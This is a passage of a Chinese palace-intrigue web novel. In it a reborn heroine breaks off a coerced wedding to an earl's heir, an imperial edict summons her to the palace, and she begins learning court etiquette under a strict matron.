乔大舅气得眼前发黑:“光天化日,天子脚下,你们还敢强抢不成,简直目无王法!”
他一把抱起御赐金匾,护在外甥女身前,指着那些侍卫:“我看谁敢上前!”
众侍卫盯着匾上明黄的御印,面面相觑,一时还真无人敢动了。
楚念辞望着眼前这个曾托付终身的男人。
他面色铁青,目光冷硬,哪有半分往日温润模样。
楚念辞心像被冰封了一般,前世并没有闹成这样,自己欢欢喜喜结了婚。
而今世,就在刚才,她还存着几分侥幸,以为闹到不可开交。
他会念着半年辛苦守候,和和气气地坐下来继续协商。
没想到他会使出这种强盗手段。
当初怎么就瞎了眼,没看出这副皮囊下的凉薄嘴脸?
前世一片真心,终究是错付给了驴肝肺。
楚念辞扯下唇角最后一抹弧度,抬手握住喜袍襟口,猛地一拽……
大红嫁衣“嘶啦”一声,被她扯下,决绝掷在地上,扔在地上像一块血痂。
“我楚念辞,今天在这儿起誓,便是孤独终老,”她声音不大,却如碎玉冰裂般铮铮然,“也绝不嫁你。”
蔺景瑞俊脸阴云密布,却一言不发。
“是我们眼瞎,错信你这**子,”乔大舅用力朝着他“呸”了一口浓痰,“骗娶不成便用强,与那劫道的强盗有何分别。”
蔺景瑞咬着牙抬手一挥。
侍卫们握紧刀柄,围成的圈子又收紧几分。
他盯着楚念辞,目光阴鸷如铁。
只要咬**今天,把堂拜了,她便插翅也飞不出这伯府了。
等再过两天,慢慢被磨掉了性子,她自会想通回来求他。
众宾客喜堂变武场,纷纷退到远处,本是来喝喜酒的,谁也不想沾这浑水。
蔺家人则个个面色痛快,只等着看这不听话的新妇如何被整治。
蔺景珏和楚舜卿甚至踮着脚观望,眼底闪着幸灾乐祸的光。
罗世龙大人本欲上前劝和,可一想到宫中那封懿旨,到底没敢开口,只叹口气,低头拨弄着茶盏盖,装作未见。
红缨与团圆被几个粗壮婆子反扭住胳膊,挣得鬓钗凌乱。
乔家抬嫁妆的仆从们也被伯府侍卫层层围住,刀鞘抵着脊背,动弹不得。
院中空气紧绷如弦。
就在这剑拔**张的当口,前院方向忽然传来一阵骚动,惊叫声与脚步声混作一片。
“怎么回事?”蔺景瑞不耐地抬眼,“不是吩咐紧闭府门吗……”
话音未落,远处人群如潮水般分开。
胡管家抹着汗,小跑着过来:“世子,宫中来人了。”
随着他话音……
一队明甲侍卫持刀开道,护着一名十七八岁,面白无须,长相清秀,身着绯色内监官服的人,径直穿过庭院,大摇大摆地朝喜堂走来。
“哎哟喂,这儿可真热闹,”来人身材纤细,眉眼灵动,手里搭着拂尘,下巴微扬,带着宫中人矜持高傲。
他面带微笑边走边朝蔺景瑞拱了拱手:“蔺世子,大喜啊,咱家奉陛下和皇后娘娘之命,特来给您送上贺喜,恭祝国舅爷小登科。”
蔺景瑞定睛一看,心头骤然一沉。
来人竟是御前掌玺太监李德安的徒弟……敬喜。
他怎么来了?
即便是宫中赐婚贺喜,也该是皇后姐姐身边的内侍前来……
来不及细想,蔺景瑞迅速堆起笑意快步迎下台阶,拱手道:“喜公公大驾光临,有失远迎,快,给公公看座奉茶。”
敬喜嘴角几不可察地抽动了一下,脸上却仍端着笑:“不必了。”
他一甩拂尘,声音细亮,“皇后娘娘与陛下有赏赐下来,蔺世子,速备香案吧……咱家今日,可带着两道旨意呢。”
老伯爷夫妇闻言连忙指挥下人布置香案。
罗世龙带着满堂宾客整理衣袍,纷纷跪倒。
敬喜清了清嗓子,先取出一道懿旨,扬声道:“皇后娘娘懿旨:赐蔺世子及夫人珍珠一盒、紫檀木雕和合二仙一对,贺新婚之喜。”
念罢,他稍作停顿,又从怀中郑重请出另一卷明黄圣旨,徐徐展开。
敬喜目光扫过众人,嘴角紧绷。
众人神色一凛,赶紧又整理仪容,此次将身子伏到尘埃。
敬喜目光掠过人群,这才微微松了松嘴角,脸上露出意味深长的笑意:“哪位是楚念辞楚小姐?请上前接旨吧……天大的喜事。”
楚念辞微微一怔,随即心下一稳。
终于来了。
她深吸一口气,从容上前,盈盈下拜:“小女楚念辞,拜见内监大人。”
方才她便留意到,蔺景瑞称呼“公公”时,这小内监嘴角那抹不悦。
前世她官至一品诰命,深谙宫中规矩。
这些御前近侍最忌旁人轻贱称呼为“公公”。
“内监大人”才是恰到好处的敬称。
果然,敬喜闻言嘴角微扬,眯着眼细细打量她。
饶是见惯了美女如云的小内侍,也不由暗暗吃了一惊。
宫中不乏美丽女子,便是绝色他亦见过。
可如这女子这般明艳照人,高贵典雅中含着灵慧狡黠的女子并不多见。
再加上她尚未入宫,便能如此应对有度,实属难得。
敬喜心中暗暗点头。
陛下生的那样,他还曾想过,什么样的女子才能配得上?
如今见过这女子,便觉棋逢对手,天生一对。
一旁的蔺景瑞已经懵了,忍不住问道:“公公,她如何接得圣旨?”
敬喜瞥他一眼,似笑非笑:“反正是天大的喜事,接旨便是。”
说罢,他展开圣旨,朗声宣读:
“奉天承运皇帝诏曰:扬州府通判楚茂林之嫡女楚念辞,温婉娴淑,秀外慧中……今特封为官女子,选侍宫中,以充掖庭,奉旨即日入宫
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,于撷芳殿**学宫规,钦此!”
圣旨念完,整个喜堂死一般寂静。
蔺景瑞脸色“唰”地惨白,僵在原地,活像被一道雷劈中天灵盖。
呆若木鸡。
楚舜卿则是张大的嘴巴。
她明明求的是让姐姐入宫做个普通宫女,最好是打发去浣衣局、库者库那等辛苦地方……
怎么反而被封了官女子?
虽品级不高,可终究是皇帝的女人了。
她脸上强撑着笑,心里却像打翻了醋坛子,酸涩难当。
这份突如其来的“体面”,本该是她施舍给楚念辞的羞辱,如今却阴差阳错成了恩典?
还是用这次抗疫的功劳求来,她简直想给自己一巴掌。
老伯爷夫妇更是如遭雷击,差点瘫在地上。
陛下怎么会……突然把自家没过门的儿媳选进宫去?
满堂宾客也都惊呆了,面面相觑。
这眨眼功夫,新娘子竟要变成宫里的娘娘了?
今日这喜宴可真是一波未平,一波又起。
“这……这究竟是怎么回事?”蔺景瑞半天才找回声音,茫然问道,“陛下为何突然召念辞入宫?”
敬喜公公笑呵呵说了几句吉祥话。
才慢条斯理道:“所以说这是天大的喜事,这道旨意,是楚内医用自己抗疫的功劳,特意向皇后娘娘求来的,她说自家姐姐一心盼着入宫当差。”
他顿了顿,拂尘轻摆:“本来嘛,按楚小姐的出身,至多也就是个宫女,可巧了,方才皇上正在娘娘那儿,听说是国舅爷家的亲戚,便说了句‘既是一家子,不妨给个恩典’,不用从宫女做起,直接封了官女子,您说,这可不是双喜临门吗?”
“民女领旨,谢主隆恩。”楚念辞已回过神来,从容叩首。
伸出双手接旨。
众人回过味来,跟着躬身行礼。
蔺景瑞还僵跪着没动。
蔺家人也个个目瞪口呆,忘了叩头谢恩。
敬喜公公瞥了他们一眼,脸上仍带着笑,语气却透出几分威压:“哟,瞧瞧,蔺世子这是欢喜的都忘了谢恩了?”
这话听着客气,实则是在提醒。
圣旨面前,岂容失仪?
伯爷夫妇这才如梦初醒,慌忙悄悄地扯住儿子的衣袖,低声催促:“快、快磕头谢恩啊!”
罗世龙到底是官场老手,虽心中震惊,却反应最快,已领着众宾客高呼万岁,顺势圆场:“陛下皇恩浩荡,娘娘体恤臣下,实乃蔺、楚两家莫大的荣耀!”
只是他说话时,眼角余光忍不住瞟向脸色惨白的蔺景瑞,又看了看垂首的楚念辞,心中暗叹,今天这出戏,可真是跌宕起伏。
就在敬喜准备把圣旨交给楚念辞的时候,
“不可!”
蔺景瑞像突然通了电似的,猛地抬头反应过来:“喜公公,楚小姐是微臣即将过门的妻子,皇后娘娘方才还赐下新婚贺礼,怎能又让她进宫?”
他声音发颤……
第10章 弄巧成拙,搬起石头砸自己的脚。
敬喜眉头微微一皱,面露诧异:“竟有此事?这位楚小姐当真是蔺世子未过门的新妇?”
“正是。”蔺景瑞稳住声音答道。
“到底怎么回事?”敬喜目光扫向众人求证。
谁知喜堂之上,无人出声。
官眷们鄙薄蔺家为人,不愿帮他们说话。
亲戚们不愿出头多事,也不吱声。
下人,仆从,帮佣没资格说话。
一时四下寂寂无声。
老伯爷夫妻两个人互视一眼,面上尴尬。
老伯爷连忙深深一叩,道:“楚念辞已在府中备嫁半载,今日正是婚期。”
敬喜长眉一皱,侧首,再度细细打量楚念辞。
眉目艳丽如画,身段窈窕,眉心一点红,双眸聪慧明澈,更难得通身那股雍容闲雅的气度。
这般品貌若是进宫,说不定真能在嫔妃中脱颖而出,博得圣宠。
可惜,可惜了。
他心下暗暗惋惜,面上却仍端着笑,向楚念辞温声问道:“楚姑娘,你究竟是不是蔺世子未过门的妻子?”
这话问得巧妙,实则是将选择权递到了她手中。
敬喜何等精明,一眼便看出蔺家绝不肯放人,若本人再不愿意,闹到御前反倒难堪。
楚念辞端正行礼:“曾经是,如今已不是了。”
“楚念辞!”蔺景瑞脸色冷着脸呵斥,“婚书在此,三媒六证俱全,你岂能否认?”
他眼中寒光乍现,袖中手指死死捏着那纸婚书。
若她再不识抬举,敢否认,便是当场欺君。
“说一万遍,我也是这句话,便去上金銮殿,小女也奉陪到底。”楚念辞声音不高。
“你别逼我!”蔺景瑞眯起了眼睛。
两人之间气氛凝固。
“呵呵……”站在大堂中央敬喜呵呵呵几声。
这几声呵呵呵,一下就缓解了气氛。
“这话是怎么说的?”敬喜拂尘一抬,侧身一步,站在两人中间,挡住两人对峙的目光,“非搞得乌眉赤眼的,都好好说话。”
他黑白分明的眸子灵活地向人群中一转,沉声道:“这道恩典,是楚内医向皇后娘娘求来的,楚内医何在啊?”
敬喜亮开嗓子,尾音拖得长长的。
楚舜卿白着一张脸上前,声若蚊蚋:“臣女在此。”
“咱家问你,”敬喜目光如针,“这入宫的恩典,当真是你为你姐姐求来的?”
“是……是臣女所求。”楚舜卿咬着下唇。
“你有几个姐姐?”
“只、只有一位。”
“好大的胆子!”敬喜嗓音陡然一沉,眯眼看她,“你既知姐姐与蔺世子有婚约在身,还敢去向娘娘求这般恩典?你这是存心要陷娘娘于不智,陷陛下于不义?”
楚舜卿浑身一颤,扑通跪下:“公公明鉴,婚约虽在,却尚未完礼……是姐姐亲口说不愿出嫁,苦苦哀求于我,臣女顾念姐妹之情,这才、这才斗胆向皇后娘娘开口……”
蔺景瑞死死盯着她,目光几乎要将她刺穿。
他万万没想到,这个口口声声说“愿与姐姐共侍一夫”的女人,竟在背后捅了这样一刀。
失望与怒火在胸中翻腾,他攥紧拳头,可众目睽睽,他只能把心中的怒火强压下去。
“不愿出嫁?”敬喜挑眉,眼角余光掠过蔺景瑞俊朗却阴沉的侧脸,心下不由有点纳罕。
这蔺景瑞要相貌有相貌,要爵位有爵位。
这楚念辞为何不肯嫁与他?
他转向楚念辞,语气缓和地问:“楚姑娘,蔺世子仪表堂堂,你为何不愿嫁他?”
“还不是贪慕虚荣,想入宫为妃,追求荣华富贵。”蔺景珏在一边插嘴,语含讥讽。
敬喜公公淡淡地瞟了蔺景珏一眼,目光中带着一丝冷芒。
他不管这丫头针对谁,但这话连皇帝都捎带上,便是犯禁。
“公公在这儿,你插什么嘴?”谢氏咬咬牙,抬手给了女儿一个耳光。
蔺景珏不可置信地捂着脸,但也不敢再说话。
敬喜收回目光,脸上似笑非笑,转头看着楚念辞,等着她的回答。
楚念辞抬眸看他,眼中一片澄澈清明。
她轻启朱唇道:“内监大人容禀,小女若是贪慕荣华富贵,何必嫁入伯府,您可以去查一下,伯府是什么状况,当年我是仰慕蔺景瑞人品,才千里迢迢北上,谁知他公干回来,竟提出要‘兼祧两房’,名义上纳臣女庶妹为大嫂,实则是停妻再娶。”
她顿了顿,唇角浮起一丝极淡的苦笑:“此事若传回扬州,楚家、乔家满门将沦为笑柄,小女与妹妹商议后,自知此身已陷两难,不如投身宫闱,以身报陛下赐匾之恩,即便从最末等的宫女做起,也好过在此受辱。”
言罢,她垂首敛目,姿态恭谨却背脊笔直。
一番话情理兼备,不卑不亢。
敬喜听在耳中,暗暗点头。
这女子不仅貌美,更有胆识,且句句落在“顾全家族颜面”“以身报国”的大义上。
让人挑不出错处。
“起来吧!”敬喜朝她挥挥手。
“大家都起来。”他又道。
楚念辞起身。
众人都纷纷站了起来。
堂中只余蔺景瑞还梗着头跪着。
半晌,他猛地抬头,眼中压着羞恼:“此言差矣,婚书为证,两家早结秦晋之好,何来笑柄之说?”
“婚书?”楚念辞眸光一闪,唇角浮起一丝的讥诮,“不说婚书也罢,你为行这‘兼祧两房’之事,早在一年前立约时便埋下伏笔,连婚书上所署之名都非我本名,这样的婚约,其实不过废纸一张。”
蔺景瑞脸色一黑,咬牙道:“你胡说什么……”
“慢着,”敬喜抬了抬手,目光在两人之间扫了个来回,伸出手心,“婚书何在?拿来给咱家瞧瞧。”
蔺景瑞抿唇未动,手却攥在袖中。
当初家里确实老早就存为兄兼祧之意,在婚姻上挖了一个坑,父母说出这件事的时候,他明知这件事不妥,也没有出声反对,因为楚氏母亲是商贾之女。
却没想到,弄巧成拙,搬起石头砸了自己的脚。
只盼楚念辞心中能有一丝情谊。
不要将这事公开。
楚念辞已从容自袖中取出一卷锦帛,双手奉上:“请内监大人过目。”
敬喜接过,单手抖开,目光迅速扫过全文,直至落款处。
看见“念君”二字时,他眉头几不可察地蹙了蹙,眼中闪过一丝不屑之色。
这伯府
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想搞文字把戏,拿捏媳妇,弄巧成拙,砸了自己的脚后跟。
有了这一纸婚书,便是闹到御史台,蔺景瑞也无话可说。
再抬眼,敬喜笑道:“这姓名,与楚姑娘本名不符,确实是废纸。”
“喜公公容禀,”一直沉默的谢氏连忙插话,“‘念君’是闺中爱称,两家当时为表亲近,特意如此书写,也是商议好的。”
“什么商议好的,我们乔家可从未同意这等事,”乔大舅冷笑道,“连婚书姓名都要做手脚,简直厚颜无耻。”
刚刚他的心已经提到嗓子了。
生怕外甥女一不小心弄个欺君之罪。
直到此时,他心中才是一松。
如此一来,这婚约的效力便没有了,即便闹上公堂,他们也占着理。
“喜公公,借一步说话。”蔺景瑞撩着裤脚终于站了起来,上前半步,朝他拱手,声音压得极低。
敬喜似笑非笑地看了他一眼。
宫中混了这些年,他岂会不知对方想私下打点、以情面通融?
可这人情也不是这般讨法。
大庭广众之下担上**嫌疑,若传到陛下耳中,自己真就百口莫辩……再说,这声“公公”听着实在刺耳。
不过,对方到底是国舅府上的,面子还得给几分。
他随蔺景瑞略走开两步,未等对方开口,便先温声道:“蔺世子,事已至此,不如将错就错,先让楚姑娘随咱家入宫,官女子尚未侍寝,还算不得正经宫妃,日后您再向皇后娘娘讨个人情,未必没有转圜余地。”
“万万不可!”蔺景瑞脸色沉得能滴出水来,“人一旦进宫,岂能再要回来,今日必不可让她进宫。”
“必须留下?”敬喜脸上绽开一抹极其和煦的笑容,声音却冷了下来,“蔺世子,咱家难得出宫办趟差,这差使办砸了不打紧,可若让皇家的脸面落了地……那就是万死难辞其咎了。”
他稍稍倾身,话音轻却重:“不是咱家不通融,这事儿本就您不占理,若执意强留,落个‘抗旨不遵’的罪名,到时担待不起的,可是您与整个伯府不利。”
一盆冷水当头泼下。
蔺景瑞面如黑铁,从牙缝里挤出话来:“公公……当真不肯给这份薄面?”
“是!”敬喜忽然板起面孔,大大地朝他作了个揖,似笑非笑道,“得罪了。”
说罢,他转头看向一直垂眼不语的罗世龙,笑意微深:“罗大人也在此处,您看这事儿……”
罗世龙连忙拱手,话说得滑不溜手:“下官岂敢妄言,内监奉旨行事,自然一切由您定夺。”
老狐狸……敬喜心中冷笑,这是想把锅甩给他背。
可惜,他是陛下跟前的人,还真不怕背这个锅。
他不再多言,拂尘一摆,扬声定论:“既然婚约姓名不符,本人又情愿入宫,陛下征选宫人便是合情合理合规。”
目光落回楚念辞身上,见她始终静立一旁,姿容明艳,神色明雅,不骄不躁,不卑不亢。
心中不由又添一分好感。
这样的人,进宫未必不能挣个好前程。
他也乐得卖个人情。
“楚选侍,”他语气缓和下来,带着宫中特有的威仪,“随咱家入宫吧。”
第11章 入宫前,结下第一个善缘。
残阳如火,映得蔺景瑞一张俊脸也似着了火。
“喜公公,莫要逼人太甚,”他几步上前,横身挡住去路,同时反手噌的一声,从身边的侍卫腰间拔出一把刀,扬声喝道:“侍卫何在?”
伯府侍卫们面面相觑,迟疑片刻,终究还是围了上来。
宫中禁卫也不示弱,拔刀挡住他们。
双方剑拔**张。
敬喜把玩着手中拂尘,神情淡然,眸光却陡然迫人:“哟,咱家没看错吧?天子脚下,竟有人敢拔刀阻拦传旨官的路?”
他冷笑着踱步上前,目光直刺向蔺景瑞,说一字走一步:“这地界儿,可还是大夏朝的天下?”
那蔺景瑞到底是武将后代,身量高大魁梧,却被清秀修长的小宦气势慑得步步后退……
众侍卫不知所措。
蔺景瑞正要开口,身后却传来扑通一声闷响。
他下意识回头,只见母亲谢氏已瘫倒在地,面色惨白,唇色乌紫,捂着胸口剧烈咳嗽,嘴一张吐出一口血。
谢氏眼中虽有一丝不甘,但更多的是惊惧与惶恐。
“娘……”蔺景行与蔺景珏尖叫着扑上去。
蔺景瑞也慌忙奔过去俯身搀扶。
“让……让他们走……”谢氏抓着他的手,在他耳边气若游丝地挤出几个字。
蔺景瑞肩膀一塌,强硬的头颅缓缓颓然垂了下去。
老伯爷赶忙连连挥手,示意侍卫退开。
楚念辞带着团圆、红缨,身后跟着抬嫁妆的乔家仆从,从容步下石阶。
蔺家人看着一箱又一箱的嫁妆从眼前抬走,眼睛似要滴出血来。
乔大舅一挥手,自家仆役稳稳抬起御赐金匾,紧随其后。
他行至蔺景瑞身侧时,脚步微顿,以只有两人可听见声音道:“原以为你尚有几分硬气,不畏权贵,不惧皇威,如今看来,不过是欺软怕硬,只敢拿女子作筏子罢了。”
蔺景瑞耳根烧红,双眼赤红,却终究没能接话。
他只看着楚念辞走到大门口,不甘地哑声道:“念辞,此刻回头……我保证不再追究今日之事,你仍是我的世子夫人。”
楚念辞恍若未闻,头也未回,径直跨出大门。
楚舜卿见状,立刻上前扶住蔺景瑞的手臂,柔声劝道:“她既贪慕宫中荣华,心早已不在此处,夫君何必强留?不如……便让我直接嫁与夫君,也好全了两家体面……”
蔺景瑞怔怔地看向她。
直到此刻,他才恍然明白她种种算计,图谋的原来就是这个正妻之位。
当初在抗疫途中,她口口声声地对自己表白。
“不求名分,只愿一生相守”的誓言,原来只是诓骗自己,一步一步,她的所作所为都是为了这个正妻之位。
一股混杂着失望与嫌恶的情绪涌上心头。
他眸色骤冷,咬着后槽牙一字字道:“我的正妻之位,永远只留给楚念辞。”
楚舜卿脸色一白,脸上的血色褪得干干净净。
为什么?
蔺郎为什么会这样说?
姐姐都已经进宫了,到这个地步,她被姐姐抢走人生,还是没有夺回来!
按照道理,姐姐走了,自己应为正妻。
如今他为什么还是不肯给自己正妻之位。
一股落败感涌上心头,楚舜卿完全接受不了这个心理落差,双手捂脸哭着跑走了。
蔺景瑞却不理她。
他看着残阳如血下,楚念辞渐行渐远的背影,灿烂的刺目,也决绝得冰凉。
蔺景瑞眼中闪过一抹阴鸷。
楚念辞,别以为你入了皇宫就能逃脱出我的掌控。
别忘了,我的姐姐可是皇后。
府门外停着一辆不起眼的青布乌篷马车,是宫里用来接引低阶宫人的。
楚念辞俯身进入车厢,一路再无波折。
当马车缓缓驶入高大庄严的丽正门时,她忍不住掀起帘角,向外望去。
巍峨的宫墙耸立,殿宇的鎏金瓦顶在夕阳下流光溢彩,像流淌着黄金。
这就是她今后漫长岁月要生存的地方了。
她静静地望着,心底翻涌的并非恐惧,而是一种近乎冰冷的清醒。
男人的情爱和承诺最是靠不住,唯有握在手中的权柄与富贵才是真的。
天底下最尊贵的一切都在这里。
嫁给哪个男人,能比嫁给九五之尊更绚丽夺目。
只要自己努力,未必不能搏一个好前程。
她正想着,马车一晃停下。
楚念辞下车,对着等候在一旁的敬喜盈盈一拜:“不知内侍大人,可否告知全名?”
她记得前世,这位喜公公最后可是坐到御前头把交椅。
如今这么好的机会,一定要设法结交,但又必须做得不留痕迹。
敬喜一脸毫无所觉,揣着手,笑得一团和气:“楚选侍问咱家姓名作甚?”
宫中规矩,未得品级的官女子皆称“选侍”。
楚念辞神色恳切:“今日若不是大人,小女必然无法入宫,家母自幼教导,做人当知恩图报。”
“选侍不必挂怀,举手之劳而已。”敬喜闲闲道。
“您虽是奉命行事,于我却是救命之恩,今日若无大人周全,小女恐难脱身,此恩小女铭记于心,他日若有机会,小女不敢或忘,定当报答。”
敬喜眯眼打量她。
这女子面若海棠初晓,声若乳燕莺啼,不仅生得极好,心思通透,还懂得记恩。
他面上不显,只摆摆手:“言重了,将你安然送入宫中,是咱家分内的差事,谈不上恩情,你且安心去学规矩,咱家自会与教引嬷嬷打声招呼,多少照拂一二。”
其实楚念辞早知他的全名。
但仍露出微微遗憾的神色,乖巧行礼。
随即向身旁的团圆递了个眼色。
团圆会意,立刻奉上一只沉甸甸的锦囊。
“请大人行个方便,容小女与家人话别。”楚念辞声音轻柔乖巧。
敬喜入手一掂,便知里头少说有五、六十两银子。
如今他的月俸不过五两。
他们这些小太监,都是家中贫困,为了生计,才铤而走险,挨上这一刀,什么都是假的,能拿到这些银子才是真的。
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早闻江南乔家豪富,果然不假,与她搞好关系,真是实打实油水,心中喜不自胜,面上却不动声色,微微颔首,往旁边踱开几步,行了方便。
楚念辞这才快步走向等候已久的乔大舅与两个丫鬟。
虽品级低微,但她已是“小主”,乔大舅连忙带着团圆、红缨躬身要拜。
“舅父不可!”楚念辞连忙扶住他。
她迅速从贴身内衫中取出那张百万两银票,塞进乔大舅手中:“此物带入宫中太过扎眼,请舅父替我保管,只需换些散碎银票并银锭子给我,便于打点即可。”
乔大舅接过银票点头。
他刚做成一批买卖,身上恰有货款,都是大小不一的银票,总计约几千两,另有一包几百两的碎银。
他一股脑用香囊装了,塞回楚念辞手里。
“念辞啊……”乔大舅眼眶发红,声音哽咽,“深宫如海,舅父没本事,只能帮你到这儿了,咱们家世单薄,在宫中无甚依仗,你千万要谨言慎行,不可与人争口舌,万事忍耐,你母亲与我……不求你大富大贵,只求你平平安安……”
他说不下去,别开了脸。
楚念辞也颇感伤,但她知道,此时却不是悲伤的时候。
“舅父,时间紧迫,还有几句重要的话嘱托你,”楚念辞红了眼,又忙抹干眼泪,“此次为了我,您得罪了伯府,听闻您与镇国公交好,回去后,您别住客栈了,想办法住到镇国公府去暂避风头,那镇国公是武将世家,蔺景瑞不敢得罪,还有,我母亲那边,麻烦您将这匣避毒丸送去,让她每日服一颗,一定要注意饮食。”
上辈子,母亲大概就是这个时间出的事,死得蹊跷,她怀疑是有人下毒,这辈子一定要避免重蹈覆辙。
“难道你怀疑?”乔大舅目光沉凝,他已经猜到了话中的意思,但是没有说下去,默默地接过避毒丸。
团圆和红缨早已泪流满面。
她们方才在路上已打听清楚,以姑娘如今的低微品阶,按规定不能带丫鬟。
眼下能破例带一人,还是敬喜公公收了那五十两银子,暗中通融的结果。
两人路上早已商量定了,团圆先陪姑娘进宫。
红缨留下来,先跟着乔大舅照料那些嫁妆和仆从。
楚念辞目光扫过两个自幼相伴的丫头,心下一痛,却知此刻不是犹豫的时候。
她握住团圆的手,将那只装满银钱的香囊放入她掌心。
才回头对红缨道:“红缨,你功夫好,记账清楚,帮我看着这些东西,团圆性子稳,先随我进去,日后我定想办法接你进去。”
红缨早已哭成泪人,他转向红着眼睛的胖丫头,“团圆,照顾好姑娘……”
说完已经说不下去。
团圆拼命点头,哭得说不出话。
“时候不早了,楚选侍,该走了,等会儿宫门就要落钥了。”敬喜声音从一旁传来。
楚念辞最后用力抱了抱乔大舅,决然转身进宫,收在袖口里的手,微微攥成拳头。
夕阳将她的身影拉得很长,映在深红的宫墙上……
第12章 与岚姑姑交好
入宫后,敬喜将楚念辞交给一名引路小太监,简单嘱咐了几句便回去复命了。
这小太监瞧着不过十来岁,长着张讨喜的圆脸,一双圆眼睛滴溜溜转个不停,模样很是机灵。
自说自话叫满宝,见团圆身上挂满了包袱,又看楚念辞仪容不俗,未语先笑。
再接过楚念辞递来的一小块碎银子后,嘴角裂得都快到耳根了。
他一边朝楚念辞作揖,一边笑嘻嘻地接过两个包袱,嘴里“姐姐长、姐姐短”地叫得亲热,絮絮叨叨地开始介绍宫里的情况。
等走到撷芳殿前,楚念辞已经弄明白了这“官女子”身份和教引嬷嬷岚翠。
官女子虽算是皇帝的女人,可并不算正经主子,若没侍寝,说白了也就是个高阶的宫女。
运气好的,能被皇上看中,封个答应,若一直没缘分,熬到二十五岁也能放出宫去自行婚嫁。
正因为不算正经主子,所以没资格单独配教引嬷嬷,得和刚选进来的小宫女们一块儿,由宫里统一指派的嬷嬷教导规矩。
不过,官女子品阶虽低,但却有其他小主得不到的好处。
就是如果走运的话,是可以分到御前当差。
而岚翠姑姑以前是伺候老太妃的,严厉得不近人情,那位太妃没了,她又不会拿钱打点上下走关系,结果就被分派来给新入宫的小宫女当教引嬷嬷。
这差事是吃力又不讨好,还没有油水的苦差。
可她硬是一干就是好几年,风雨无阻,任劳任怨。
满宝一边如数家珍,一边领着她俩顺着长长的宫道往前走,到了撷芳殿前。
他探头一望,只见一位四十来岁的嬷嬷正站在那儿清点人数,就听有小宫女,脆生生地叫着岚姑姑。
楚念辞抬眸一看,见那岚姑姑长相泼辣,乌黑的头发梳得一丝不乱,长圆脸,杏眼薄唇,高颧骨上零星几点雀斑,看着就不好惹。
只是她站在那儿,单手扶着腰,姿势看上去有点古怪。
她面前规规矩矩站着二十来个新选入宫的小宫女,大的不过十五六,小的才十二三岁。
满宝连忙小跑上前,赔着笑脸说明了楚念辞的情况。
那被称作“岚姑姑”的管事嬷嬷抬眼将楚念辞主仆上下打量了一番,手一挥,不容置疑地道:“站到后面去。”
“岚姑姑,您是不是弄错了?”元宝赶紧凑上前,笑得一脸讨好,“这位是楚选侍,不是宫女,而且是敬喜上监特意嘱咐要关照的……”
“我不管是谁关照的,”岚姑姑打断他,声音严厉,“到了我这儿,是龙得盘着,是虎也得趴着,所有人都得老老实实学规矩,丑话说在前头。”
她目光扫过楚念辞,又扫过那一排小宫女,“任凭你以前是什么身份,在这儿宫规学不好,就别怪我手里的戒尺不留情面!”
她语气那周身的气势,却比上位管事太监还要强上几分,眼见是个性子苛刻、说一不二的主儿。
满宝缩了缩脖子,吐了吐舌头,“楚选侍,如此奴才就送您到这儿,您一定多听岚姑姑的教导。”
说完,向岚姑姑鞠了一躬,转身一溜烟跑了。
团圆瞧着岚姑姑那副严厉模样,心里有点发怵,缩了缩胖乎乎的脖子,悄悄躲到了楚念辞身后。
楚念辞却神色如常。
她上辈子做到一品诰命,什么样苛刻的上位者,没有见过,进宫朝见皇后都是常事,对这些宫规礼仪早就熟透了,此刻自然不慌。
她迎着岚姑姑的目光,不卑不亢地道:“嬷嬷放心,您用心教,我用心学。”
岚姑姑见她态度不卑不亢,并没有仗着“选侍”的身份摆架子,严厉的神色稍微缓了缓。
又见她是主仆二人一同来的,便顺手指了个单独的隔间,安排她俩住在一起。
楚念辞四下看了看,屋子收拾得干净整洁,东西也摆放得妥当。
看来这位岚姑姑,是个嘴硬心软的人。
等安顿好住处,岚姑姑扶着腰,准备离开。
团圆赶紧拿出一个小香囊想递过去,岚姑姑却撇了撇嘴,手都没抬,转身就走。
“岚姑姑,”楚念辞从背后叫住了她,目光落在她扶腰的手上,“您的腰是不是扭着了?请医官瞧过了吗?”
岚姑姑脚步一顿,慢慢转过身,看着她,语气冷冷的:“我们这样的下人,哪配内医诊治?你初来乍到,少管闲事。”
楚念辞本不想多事,可想到接下来一个月都得在人家手底下学规矩,关系总不能弄得太僵。
于是她笑了笑,温声道:“嬷嬷,就算请不到内医,也有些土法子能缓解,腰扭伤虽不是大病,但若不好好调理,久了容易落下病根,您若是刚扭着,回去用井水浸过的冷毛巾敷一敷,若是已经有好几天了,就用汤婆子焐着。”
她顿了顿,让团圆从包袱里找出几帖膏药:“我这里刚好带了活血化瘀的膏药,您先拿去用吧。”
其实她还有更好的推拿手法,但看岚姑姑这态度,眼下怕是也用不上。
岚姑姑这回没拒绝。
她目光在楚念辞脸上停了片刻,似在思索什么,最终还是伸手接过了那几帖膏药,什么也没说,转身走了。
转眼到了第二天。
用过早饭,楚念辞就瞧见岚姑姑的腰已经能直起来了,脸色也比昨天温和了不少。
一天的规矩学下来,楚念辞发现这位岚姑姑还真是刀子嘴、豆腐心。
表面看着刻板严厉,不近人情,但凡做错了一点,不管是谁,她便拿出戒尺来狠狠惩罚。
可只要规矩学得好,哪怕是低微的粗使宫女,她也会立即给予夸奖。
宫里多是些见风使舵的人,像岚姑姑这样对事不对人,尤为少见。
楚念辞不由对
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她另眼相看。
得益于前世一品诰命的经历,楚念辞对宫规礼仪早已烂熟于心,什么蹲礼,万福礼,跪拜礼,三叩九拜大礼,就连顶水碗,都走得有模有样,挑不出错来。
岚姑姑严厉的嘴角,渐渐也露出了笑意,看她眼神越来越温和。
楚念辞并不居才自傲,总是谦逊,对待同一批小宫女们,也温和相待,还常常帮着纠正错误动作。
加上团圆时常做些糕点、酥饼之类小零食,小宫女们逐渐把楚念辞当成了知心姐姐。
饶是岚姑姑性子严苛,面对这位天资聪颖、绝丽无双的楚选侍,也生出了几分好感,几分期许,知她并非池中之物,又经过十几天的相处,两人已经熟识融洽如老友,经常坐在一起喝茶,聊天了,
楚念辞虽有上辈子的记忆,对后宫的具体情形却不甚了解。
自然是听得十分仔细。
“先帝是开国明君,英明神武,一生东征西战,他与先皇后极为恩爱,育有二位嫡子,咱们万岁爷是先皇的嫡幼子,早年封为睿亲王,三年前,先皇后与先太子离世,先皇悲伤过度也薨逝了,陛下继位登基,年号为明肃,太后娘娘是先帝临终前封的继后,并非圣上的生母。”
